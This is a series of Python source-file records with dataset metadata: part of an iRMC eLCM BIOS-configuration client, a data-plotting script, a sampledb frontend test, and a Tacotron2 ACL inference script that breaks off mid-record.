}\n :raises: ELCMSessionNotFound if the session does not exist\n :raises: SCCIClientError if SCCI failed\n \"\"\"\n # Send GET request to the server\n resp = elcm_request(irmc_info,\n method='GET',\n path='/sessionInformation/%s/status' % session_id)\n\n if resp.status_code == 200:\n return _parse_elcm_response_body_as_json(resp)\n elif resp.status_code == 404:\n raise ELCMSessionNotFound('Session \"%s\" does not exist' % session_id)\n else:\n raise scci.SCCIClientError(('Failed to get status of session '\n '\"%(session)s\" with error code %(error)s' %\n {'session': session_id,\n 'error': resp.status_code}))\n\n\ndef elcm_session_get_log(irmc_info, session_id):\n \"\"\"send an eLCM request to get session log\n\n :param irmc_info: node info\n :param session_id: session id\n :returns: dict object of session log if succeed\n {\n 'Session':\n {\n 'Id': id\n ...\n }\n }\n :raises: ELCMSessionNotFound if the session does not exist\n :raises: SCCIClientError if SCCI failed\n \"\"\"\n # Send GET request to the server\n resp = elcm_request(irmc_info,\n method='GET',\n path='/sessionInformation/%s/log' % session_id)\n\n if resp.status_code == 200:\n return _parse_elcm_response_body_as_json(resp)\n elif resp.status_code == 404:\n raise ELCMSessionNotFound('Session \"%s\" does not exist' % session_id)\n else:\n raise scci.SCCIClientError(('Failed to get log of session '\n '\"%(session)s\" with error code %(error)s' %\n {'session': session_id,\n 'error': resp.status_code}))\n\n\ndef elcm_session_terminate(irmc_info, session_id):\n \"\"\"send an eLCM request to terminate a session\n\n :param irmc_info: node info\n :param session_id: session id\n :raises: ELCMSessionNotFound if the session does not exist\n :raises: SCCIClientError if SCCI failed\n \"\"\"\n # Send DELETE request to the server\n resp = elcm_request(irmc_info,\n method='DELETE',\n path='/sessionInformation/%s/terminate' % session_id)\n\n if resp.status_code == 200:\n return\n elif resp.status_code == 404:\n raise ELCMSessionNotFound('Session \"%s\" does not exist' % session_id)\n else:\n raise scci.SCCIClientError(('Failed to terminate session '\n '\"%(session)s\" with error code %(error)s' %\n {'session': session_id,\n 'error': resp.status_code}))\n\n\ndef elcm_session_delete(irmc_info, session_id, terminate=False):\n \"\"\"send an eLCM request to remove a session from the session list\n\n :param irmc_info: node info\n :param session_id: session id\n :param terminate: a running session must be terminated before removing\n :raises: ELCMSessionNotFound if the session does not exist\n :raises: SCCIClientError if SCCI failed\n \"\"\"\n # Terminate the session first if needs to\n if terminate:\n # Get session status to check\n session = elcm_session_get_status(irmc_info, session_id)\n status = session['Session']['Status']\n\n # Terminate session if it is activated or running\n if status == 'running' or status == 'activated':\n elcm_session_terminate(irmc_info, session_id)\n\n # Send DELETE request to the server\n resp = elcm_request(irmc_info,\n method='DELETE',\n path='/sessionInformation/%s/remove' % session_id)\n\n if resp.status_code == 200:\n return\n elif resp.status_code == 404:\n raise ELCMSessionNotFound('Session \"%s\" does not exist' % session_id)\n else:\n raise scci.SCCIClientError(('Failed to remove session '\n '\"%(session)s\" with error code %(error)s' %\n {'session': session_id,\n 'error': resp.status_code}))\n\n\ndef _process_session_bios_config(irmc_info, operation, session_id,\n session_timeout=BIOS_CONFIG_SESSION_TIMEOUT):\n \"\"\"process session for Bios config backup/restore operation\n\n :param irmc_info: node info\n :param operation: one of 'BACKUP' and 'RESTORE'\n :param session_id: session id\n :param session_timeout: session timeout\n :return: a dict with following values:\n {\n 'bios_config': ,\n 'warning': \n }\n \"\"\"\n session_expiration = time.time() + session_timeout\n\n while time.time() < session_expiration:\n # Get session status to check\n session = elcm_session_get_status(irmc_info=irmc_info,\n session_id=session_id)\n\n status = session['Session']['Status']\n if status == 'running' or status == 'activated':\n # Sleep a bit\n time.sleep(5)\n elif status == 'terminated regularly':\n result = {}\n\n if operation == 'BACKUP':\n # Bios profile is created, get the data now\n result['bios_config'] = elcm_profile_get(\n irmc_info=irmc_info,\n profile_name=PROFILE_BIOS_CONFIG)\n elif operation == 'RESTORE':\n # Bios config applied successfully\n pass\n\n # Cleanup operation by deleting related session and profile.\n # In case of error, report it as warning instead of error.\n try:\n elcm_session_delete(irmc_info=irmc_info,\n session_id=session_id,\n terminate=True)\n elcm_profile_delete(irmc_info=irmc_info,\n profile_name=PROFILE_BIOS_CONFIG)\n except scci.SCCIError as e:\n result['warning'] = e\n\n return result\n else:\n # Error occurred, get session log to see what happened\n session_log = elcm_session_get_log(irmc_info=irmc_info,\n session_id=session_id)\n\n raise scci.SCCIClientError(\n ('Failed to %(operation)s bios config. '\n 'Session log is \"%(session_log)s\".' %\n {'operation': operation,\n 'session_log': jsonutils.dumps(session_log)}))\n\n else:\n raise ELCMSessionTimeout(\n ('Failed to %(operation)s bios config. '\n 'Session %(session_id)s log is timeout.' %\n {'operation': operation,\n 'session_id': session_id}))\n\n\ndef backup_bios_config(irmc_info):\n \"\"\"backup current bios configuration\n\n This function sends a BACKUP request to the server. Then when the bios\n config data are ready for retrieving, it will return the data to the\n caller. Note that this operation may take time.\n\n :param irmc_info: node info\n :return: a dict with following values:\n {\n 'bios_config': ,\n 'warning': \n }\n \"\"\"\n # 1. Make sure there is no BiosConfig profile in the store\n try:\n # Get the profile first, if not found, then an exception\n # will be raised.\n elcm_profile_get(irmc_info=irmc_info,\n profile_name=PROFILE_BIOS_CONFIG)\n # Profile found, delete it\n elcm_profile_delete(irmc_info=irmc_info,\n profile_name=PROFILE_BIOS_CONFIG)\n except ELCMProfileNotFound:\n # Ignore this error as it's not an error in this case\n pass\n\n # 2. Send request to create a new profile for BiosConfig\n session = elcm_profile_create(irmc_info=irmc_info,\n param_path=PARAM_PATH_BIOS_CONFIG)\n\n # 3. Profile creation is in progress, we monitor the session\n session_timeout = irmc_info.get('irmc_bios_session_timeout',\n BIOS_CONFIG_SESSION_TIMEOUT)\n return _process_session_bios_config(\n irmc_info=irmc_info,\n operation='BACKUP',\n session_id=session['Session']['Id'],\n session_timeout=session_timeout)\n\n\ndef restore_bios_config(irmc_info, bios_config):\n \"\"\"restore bios configuration\n\n This function sends a RESTORE request to the server. Then when the bios\n is ready for restoring, it will apply the provided settings and return.\n Note that this operation may take time.\n\n :param irmc_info: node info\n :param bios_config: bios config\n \"\"\"\n def _process_bios_config():\n try:\n if isinstance(bios_config, dict):\n input_data = bios_config\n else:\n input_data = jsonutils.loads(bios_config)\n\n # The input data must contain flag \"@Processing\":\"execute\" in the\n # equivalent section.\n bios_cfg = input_data['Server']['SystemConfig']['BiosConfig']\n bios_cfg['@Processing'] = 'execute'\n\n # NOTE: It seems without 2 sub profiles IrmcConfig and\n # OSInstallation present in the input_data, the process will fail.\n # The info for this error can be found in the session log.\n # Work-around: add 2 sub profiles with empty content.\n input_data['Server']['SystemConfig']['IrmcConfig'] = {}\n input_data['Server']['SystemConfig']['OSInstallation'] = {}\n\n return input_data\n except (TypeError, ValueError, KeyError):\n raise scci.SCCIInvalidInputError(\n ('Invalid input bios config \"%s\".' % bios_config))\n\n # 1. Parse the bios config and create the input data\n input_data = _process_bios_config()\n\n # 2. Make sure there is no BiosConfig profile in the store\n try:\n # Get the profile first, if not found, then an exception\n # will be raised.\n elcm_profile_get(irmc_info=irmc_info,\n profile_name=PROFILE_BIOS_CONFIG)\n # Profile found, delete it\n elcm_profile_delete(irmc_info=irmc_info,\n profile_name=PROFILE_BIOS_CONFIG)\n except ELCMProfileNotFound:\n # Ignore this error as it's not an error in this case\n pass\n\n # 3. Send a request to apply the param values\n session = elcm_profile_set(irmc_info=irmc_info,\n input_data=input_data)\n\n # 4. Param values applying is in progress, we monitor the session\n session_timeout = irmc_info.get('irmc_bios_session_timeout',\n BIOS_CONFIG_SESSION_TIMEOUT)\n _process_session_bios_config(irmc_info=irmc_info,\n operation='RESTORE',\n session_id=session['Session']['Id'],\n session_timeout=session_timeout)\n", "repo_name": "mail2nsrajesh/python-scciclient", "sub_path": "scciclient/irmc/elcm.py", "file_name": "elcm.py", "file_ext": "py", "file_size_in_byte": 22858, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "scciclient.irmc.scci.SCCIError", "line_number": 36, "usage_type": "attribute"}, {"api_name": "scciclient.irmc.scci", "line_number": 36, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIError", "line_number": 42, "usage_type": "attribute"}, {"api_name": "scciclient.irmc.scci", "line_number": 42, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIError", "line_number": 48, "usage_type": "attribute"}, {"api_name": "scciclient.irmc.scci", "line_number": 48, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIError", "line_number": 54, "usage_type": "attribute"}, {"api_name": "scciclient.irmc.scci", "line_number": 54, "usage_type": "name"}, {"api_name": "oslo_serialization.jsonutils.loads", "line_number": 83, "usage_type": "call"}, {"api_name": "oslo_serialization.jsonutils", "line_number": 83, "usage_type": "name"}, {"api_name": "requests.auth.HTTPBasicAuth", "line_number": 127, "usage_type": "call"}, {"api_name": "requests.auth", "line_number": 127, "usage_type": "attribute"}, {"api_name": "requests.auth.HTTPDigestAuth", "line_number": 128, "usage_type": "call"}, {"api_name": "requests.auth", "line_number": 128, "usage_type": "attribute"}, {"api_name": "scciclient.irmc.scci.SCCIInvalidInputError", "line_number": 132, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 132, "usage_type": "name"}, {"api_name": "requests.request", "line_number": 138, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 147, "usage_type": "attribute"}, {"api_name": "scciclient.irmc.scci.SCCIClientError", "line_number": 148, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 148, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIClientError", "line_number": 152, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 152, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIClientError", "line_number": 183, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 183, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIClientError", "line_number": 207, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 207, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIClientError", "line_number": 245, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 245, "usage_type": "name"}, {"api_name": "oslo_serialization.jsonutils.dumps", "line_number": 286, "usage_type": "call"}, {"api_name": "oslo_serialization.jsonutils", "line_number": 286, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIClientError", "line_number": 305, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 305, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIClientError", "line_number": 331, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 331, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIClientError", "line_number": 363, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 363, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIClientError", "line_number": 394, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 394, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIClientError", "line_number": 426, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 426, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIClientError", "line_number": 450, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 450, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIClientError", "line_number": 485, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 485, "usage_type": "name"}, {"api_name": "time.time", "line_number": 505, "usage_type": "call"}, {"api_name": "time.time", "line_number": 507, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 515, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci.SCCIError", "line_number": 536, "usage_type": "attribute"}, {"api_name": "scciclient.irmc.scci", "line_number": 536, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIClientError", "line_number": 545, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 545, "usage_type": "name"}, {"api_name": "oslo_serialization.jsonutils.dumps", "line_number": 549, "usage_type": "call"}, {"api_name": "oslo_serialization.jsonutils", "line_number": 549, "usage_type": "name"}, {"api_name": "oslo_serialization.jsonutils.loads", "line_number": 615, "usage_type": "call"}, {"api_name": "oslo_serialization.jsonutils", "line_number": 615, "usage_type": "name"}, {"api_name": "scciclient.irmc.scci.SCCIInvalidInputError", "line_number": 631, "usage_type": "call"}, {"api_name": "scciclient.irmc.scci", "line_number": 631, "usage_type": "name"}]} {"seq_id": "9082270291", "text": "import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef get_data_from_txt():\r\n fname = 'raw_data_float.txt'\r\n file = open(fname, 'r')\r\n raw_data = file.readlines()\r\n\r\n raw_data_int = []\r\n for sam in raw_data:\r\n raw_data_int.append(list(map(float, sam.split(','))))\r\n\r\n np_data = np.array(raw_data_int)\r\n np_data_ch1 = np_data[:,0]\r\n return np_data_ch1\r\n\r\n\r\ndef plot_data(data):\r\n Fs = 250\r\n sampling_time = data.size / Fs *1000\r\n print(data.size)\r\n x_axis = np.arange(0, sampling_time, 1000/Fs)\r\n plt.plot(x_axis, data)\r\n plt.grid(True)\r\n plt.show()\r\n\r\n\r\ndef main():\r\n plot_data(get_data_from_txt());\r\n\r\n return;\r\n\r\n\r\nmain()", "repo_name": "tlaehdtlr/Data-anlaysis", "sub_path": "raw_data_parser/plot_raw_data.py", "file_name": "plot_raw_data.py", "file_ext": "py", "file_size_in_byte": 688, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.array", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}]} {"seq_id": "9892062505", "text": "# coding: utf-8\n\"\"\"\n\n\"\"\"\n\nimport requests\nimport pytest\n\nimport sampledb\nimport sampledb.models\nimport sampledb.logic\n\nfrom sampledb.models import User, Action\n\n\n@pytest.fixture\ndef user(flask_server):\n return sampledb.logic.users.create_user(\n name=\"Basic User\",\n email=\"example@example.com\",\n type=sampledb.models.UserType.PERSON\n )\n\n\ndef test_edit_action_using_template(flask_server, user: User):\n template_action = sampledb.logic.actions.create_action(\n action_type_id=sampledb.models.ActionType.TEMPLATE,\n schema={\n 'title': 'Example Template',\n 'type': 'object',\n 'properties': {\n 'name': {\n 'title': 'Name',\n 'type': 'text'\n },\n 'test': {\n 'title': 'Test',\n 'type': 'text'\n }\n },\n 'required': ['name']\n },\n user_id=user.id\n )\n sampledb.logic.action_translations.set_action_translation(\n language_id=sampledb.logic.languages.Language.ENGLISH,\n action_id=template_action.id,\n name='Example Template',\n description=''\n )\n\n action = sampledb.logic.actions.create_action(\n action_type_id=sampledb.models.ActionType.TEMPLATE,\n schema={\n 'title': 'Example Object',\n 'type': 'object',\n 'properties': {\n 'name': {\n 'title': 'Name',\n 'type': 'text'\n },\n 'test': {\n 'title': 'Test',\n 'type': 'object',\n 'template': template_action.id\n }\n },\n 'required': ['name']\n },\n user_id=user.id\n )\n sampledb.logic.action_translations.set_action_translation(\n language_id=sampledb.logic.languages.Language.ENGLISH,\n action_id=action.id,\n name='Example Action',\n description=''\n )\n\n session = requests.session()\n assert session.get(flask_server.base_url + f'users/{user.id}/autologin').status_code == 200\n r = session.get(flask_server.base_url + f'actions/{action.id}?mode=edit')\n assert r.status_code == 200\n\n # simulate a template action not existing, e.g. if action was imported\n # via federation but the template action was not\n mutable_template_action_translations = sampledb.models.ActionTranslation.query.filter_by(action_id=template_action.id).all()\n for mutable_template_action_translation in mutable_template_action_translations:\n sampledb.db.session.delete(mutable_template_action_translation)\n mutable_template_action = sampledb.models.Action.query.filter_by(id=template_action.id).first()\n sampledb.db.session.delete(mutable_template_action)\n sampledb.db.session.commit()\n sampledb.logic.utils.clear_cache_functions()\n\n r = session.get(flask_server.base_url + f'actions/{action.id}?mode=edit')\n assert r.status_code == 400\n", "repo_name": "sciapp/sampledb", "sub_path": "tests/frontend/test_actions.py", "file_name": "test_actions.py", "file_ext": "py", "file_size_in_byte": 3032, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 21, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sampledb.logic.users.create_user", "line_number": 18, "usage_type": "call"}, {"api_name": "sampledb.logic", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sampledb.models", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sampledb.models.User", "line_number": 25, "usage_type": "name"}, {"api_name": "sampledb.logic.actions.create_action", "line_number": 26, "usage_type": "call"}, {"api_name": "sampledb.logic", "line_number": 26, "usage_type": "attribute"}, {"api_name": "sampledb.models", "line_number": 27, "usage_type": "attribute"}, {"api_name": "sampledb.logic.action_translations.set_action_translation", "line_number": 45, "usage_type": "call"}, {"api_name": "sampledb.logic", "line_number": 45, "usage_type": "attribute"}, {"api_name": "sampledb.logic", "line_number": 46, "usage_type": "attribute"}, {"api_name": "sampledb.logic.actions.create_action", "line_number": 52, "usage_type": "call"}, {"api_name": "sampledb.logic", "line_number": 52, "usage_type": "attribute"}, {"api_name": "sampledb.models", "line_number": 53, "usage_type": "attribute"}, {"api_name": "sampledb.logic.action_translations.set_action_translation", "line_number": 72, "usage_type": "call"}, {"api_name": "sampledb.logic", "line_number": 72, "usage_type": "attribute"}, {"api_name": "sampledb.logic", "line_number": 73, "usage_type": "attribute"}, {"api_name": "requests.session", "line_number": 79, "usage_type": "call"}, {"api_name": "sampledb.models.ActionTranslation.query.filter_by", "line_number": 86, "usage_type": "call"}, {"api_name": "sampledb.models", "line_number": 86, "usage_type": "attribute"}, {"api_name": "sampledb.db.session.delete", "line_number": 88, "usage_type": "call"}, {"api_name": "sampledb.db", "line_number": 88, "usage_type": "attribute"}, {"api_name": "sampledb.models.Action.query.filter_by", "line_number": 89, "usage_type": "call"}, {"api_name": "sampledb.models", "line_number": 89, "usage_type": "attribute"}, {"api_name": "sampledb.db.session.delete", "line_number": 90, "usage_type": "call"}, {"api_name": "sampledb.db", "line_number": 90, "usage_type": "attribute"}, {"api_name": "sampledb.db.session.commit", "line_number": 91, "usage_type": "call"}, {"api_name": "sampledb.db", "line_number": 91, "usage_type": "attribute"}, {"api_name": "sampledb.logic.utils.clear_cache_functions", "line_number": 92, "usage_type": "call"}, {"api_name": "sampledb.logic", "line_number": 92, "usage_type": "attribute"}]} {"seq_id": "72844088542", "text": "import os\nimport sys\nimport wave\nimport difflib\nimport numpy as np\nimport time\nimport torch\nimport argparse\nimport logging\n\nfrom scipy.io.wavfile import write\nfrom scipy.special import expit\nfrom torch import jit\nfrom inference import MeasureTime\nfrom onnx_infer import Waveglow\nfrom data_process import *\nfrom acl_net import Net\nimport acl\n\n\ndef parse_args(parser):\n \"\"\"\n Parse commandline arguments.\n \"\"\"\n parser.add_argument('-i', '--input', type=str, required=True,\n help='input text')\n parser.add_argument('-o', '--output', required=False, default=\"output/\",\n help='output folder')\n parser.add_argument('--log-file', type=str, default='pyacl_log.json',\n help='Filename for logging')\n parser.add_argument('-bs', '--batch_size', type=int, default=4,\n help='Batch size')\n parser.add_argument('-max_input_len', default=128, type=int,\n help='max input len')\n parser.add_argument('-max_decode_iter', default=20, type=int,\n help='max decode times')\n parser.add_argument('--device_id', default=0, type=int,\n help='device id')\n parser.add_argument('-sr', '--sampling-rate', default=22050, type=int,\n help='Sampling rate') \n parser.add_argument('--stft-hop-length', type=int, default=256,\n help='STFT hop length for estimating audio length from mel size')\n\n return parser\n\n\nclass Tacotron2():\n def __init__(self, device_id):\n self.max_decoder_steps = 2000\n self.random = np.random.rand(self.max_decoder_steps+1, 256)\n self.random = self.random.astype(np.float32)\n\n self.input_random = np.random.randint(1, self.max_decoder_steps, size=(self.max_decoder_steps))\n\n ret = acl.init()\n assert ret == 0\n ret = acl.rt.set_device(device_id)\n assert ret == 0\n context, ret = acl.rt.create_context(device_id)\n assert ret == 0\n self.device_id = device_id\n\n self.encoder_context = Net(context, device_id=self.device_id, \n model_path=\"output/encoder_static.om\", first=True)\n self.decoder_context = Net(context, device_id=self.device_id, \n model_path=\"output/decoder_static.om\", first=False) \n self.postnet_context = Net(context, device_id=self.device_id, \n model_path=\"output/postnet_static.om\", first=False)\n\n def __del__(self):\n del self.encoder_context\n del self.decoder_context\n del self.postnet_context\n\n ret = acl.rt.reset_device(self.device_id)\n assert ret == 0\n context, ret = acl.rt.get_context()\n assert ret == 0\n ret = acl.rt.destroy_context(context)\n assert ret == 0\n ret = acl.finalize()\n assert ret == 0\n\n def infer(self, batch_size, sequences, sequence_lengths, max_decode_iter):\n\n print(\"Running Tacotron2 Encoder\")\n mask = get_mask_from_lengths(sequence_lengths) \n mask = mask.numpy()\n decoder_input = np.zeros((batch_size, 80), dtype=np.float32)\n attention_hidden = np.zeros((batch_size, 1024), dtype=np.float32)\n attention_cell = np.zeros((batch_size, 1024), dtype=np.float32)\n decoder_hidden = np.zeros((batch_size, 1024), dtype=np.float32)\n decoder_cell = np.zeros((batch_size, 1024), dtype=np.float32)\n attention_weights = np.zeros((batch_size, sequence_lengths[0]), dtype=np.float32)\n attention_weights_cum = np.zeros((batch_size, sequence_lengths[0]), dtype=np.float32)\n attention_context = np.zeros((batch_size, 512), dtype=np.float32)\n\n not_finished = np.ones((batch_size,), dtype=np.int32)\n mel_lengths = np.zeros((batch_size,), dtype=np.int32)\n mel_output_input = np.zeros((batch_size, 80, 1), dtype=np.float32)\n gate_output_input = np.zeros((batch_size, 1, 1), dtype=np.float32)\n encoder_output = self.encoder_context([sequences, sequence_lengths, decoder_input, attention_hidden,\n attention_cell, decoder_hidden, decoder_cell, attention_weights,\n attention_weights_cum, attention_context, mask, not_finished,\n mel_lengths])\n\n gate_threshold = 0.5\n max_decoder_steps = 2000\n\n print(\"Running Tacotron2 Decoder\")\n mel_output_0 = encoder_output[-4]\n gate_output_0 = encoder_output[-3]\n mel_outputs = mel_output_0\n gate_outputs = gate_output_0\n decoder_output = encoder_output\n for i in range(max_decode_iter):\n decoder_output = self.decoder_context(decoder_output)\n decoder_output_0_11 = decoder_output[:-4]\n mel_output_cat = decoder_output[-4]\n gate_output_cat = decoder_output[-3]\n decoder_output_14_15 = decoder_output[-2:]\n mel_outputs = np.concatenate((mel_outputs, mel_output_cat), 2)\n gate_outputs = np.concatenate((gate_outputs, gate_output_cat), 2)\n decoder_output = decoder_output_0_11 + [mel_output_input, gate_output_input] + decoder_output_14_15\n not_finished = decoder_output[-2]\n if np.sum(not_finished) == 0:\n break\n\n mel_outputs_length = mel_outputs.shape[2]\n mel_outputs_padded = np.zeros((batch_size, 80, max_decoder_steps), dtype=np.float32)\n mel_outputs_padded[:, :, :mel_outputs_length] = mel_outputs\n\n mel_outputs_postnet = self.postnet_context(mel_outputs_padded)\n mel_outputs_postnet = mel_outputs_postnet[0][:, :, :mel_outputs_length]\n mel_lengths = decoder_output[-1]\n mel_lengths = torch.from_numpy(mel_lengths)\n print(\"Tacotron2 Postnet done\")\n return mel_outputs_postnet, mel_lengths\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description='ONNX Tacotron 2 Inference')\n parser = parse_args(parser)\n args, _ = parser.parse_known_args()\n\n texts = []\n batch_size = args.batch_size\n\n try:\n name_list, value_list = read_file(args.input)\n except Exception as e:\n print(\"Could not read file\")\n sys.exit(1)\n\n batch_num = 0\n from collections import defaultdict\n cost_time = defaultdict(float)\n offset = 0\n tacotron2 = Tacotron2(device_id=args.device_id)\n data_procss = DataProcess(args.max_input_len, False, 0)\n waveglow = Waveglow(\"output/waveglow.onnx\")\n all_time = 0\n all_mels = 0\n\n while batch_size <= len(value_list):\n measurements = {}\n if batch_size == 1 and len(value_list[0]) < args.max_input_len:\n print(\"input text less max input size\")\n break\n \n batch_texts, batch_names = data_procss.prepare_batch_meta(batch_size, value_list, name_list)\n offset += batch_size\n batch_num += 1\n\n sequences, sequence_lengths, batch_names_new = data_procss.prepare_input_sequence(batch_texts, \n batch_names)\n if sequences == '' or len(batch_texts[0]) < args.max_input_len:\n print(\"input text less max input size\")\n break\n\n sequences = sequences.to(torch.int64).numpy()\n sequence_lengths = sequence_lengths.to(torch.int32).numpy()\n\n with MeasureTime(measurements, \"tacotron2_latency\", cpu_run=True):\n mel, mel_lengths = tacotron2.infer(batch_size, sequences, sequence_lengths, args.max_decode_iter)\n\n if args.device_id == 0:\n waveglow_output = waveglow.infer(mel)\n waveglow_output = waveglow_output.astype(np.float32)\n\n for i, audio in enumerate(waveglow_output):\n audio = audio[:mel_lengths[i] * args.stft_hop_length]\n audio = audio / np.amax(np.absolute(audio))\n audio_path = args.output + batch_names_new[i] + \".wav\"\n write(audio_path, args.sampling_rate, audio)\n\n num_mels = mel.shape[0] * mel.shape[2]\n all_mels += num_mels\n all_time += measurements[\"tacotron2_latency\"]\n perf = all_mels/all_time\n resstr = \"perf: {}\\n\".format(perf)\n with open(\"results.txt\", \"a\") as resfile:\n resfile.write(resstr)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "ACL_PyTorch/built-in/audio/Tacotron2_for_Pytorch/om_infer_acl.py", "file_name": "om_infer_acl.py", "file_ext": "py", "file_size_in_byte": 8460, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.random.rand", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 53, "usage_type": "attribute"}, {"api_name": "acl.init", "line_number": 55, "usage_type": "call"}, {"api_name": "acl.rt.set_device", "line_number": 57, "usage_type": "call"}, {"api_name": "acl.rt", "line_number": 57, "usage_type": "attribute"}, {"api_name": "acl.rt.create_context", "line_number": 59, "usage_type": "call"}, {"api_name": "acl.rt", "line_number": 59, "usage_type": "attribute"}, {"api_name": "acl_net.Net", "line_number": 63, "usage_type": "call"}, {"api_name": "acl_net.Net", "line_number": 65, "usage_type": "call"}, {"api_name": "acl_net.Net", "line_number": 67, "usage_type": "call"}, {"api_name": "acl.rt.reset_device", "line_number": 75, "usage_type": "call"}, {"api_name": "acl.rt", "line_number": 75, "usage_type": "attribute"}, {"api_name": "acl.rt.get_context", "line_number": 77, "usage_type": "call"}, {"api_name": "acl.rt", "line_number": 77, "usage_type": "attribute"}, {"api_name": "acl.rt.destroy_context", "line_number": 79, "usage_type": "call"}, {"api_name": "acl.rt", "line_number": 79, "usage_type": "attribute"}, {"api_name": "acl.finalize", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 89, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 90, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 92, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 93, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 94, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 95, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 99, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 100, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 101, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 130, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 136, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 142, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 154, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 158, "usage_type": "call"}, {"api_name": "onnx_infer.Waveglow", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 182, "usage_type": "attribute"}, {"api_name": "torch.int32", "line_number": 183, "usage_type": "attribute"}, {"api_name": 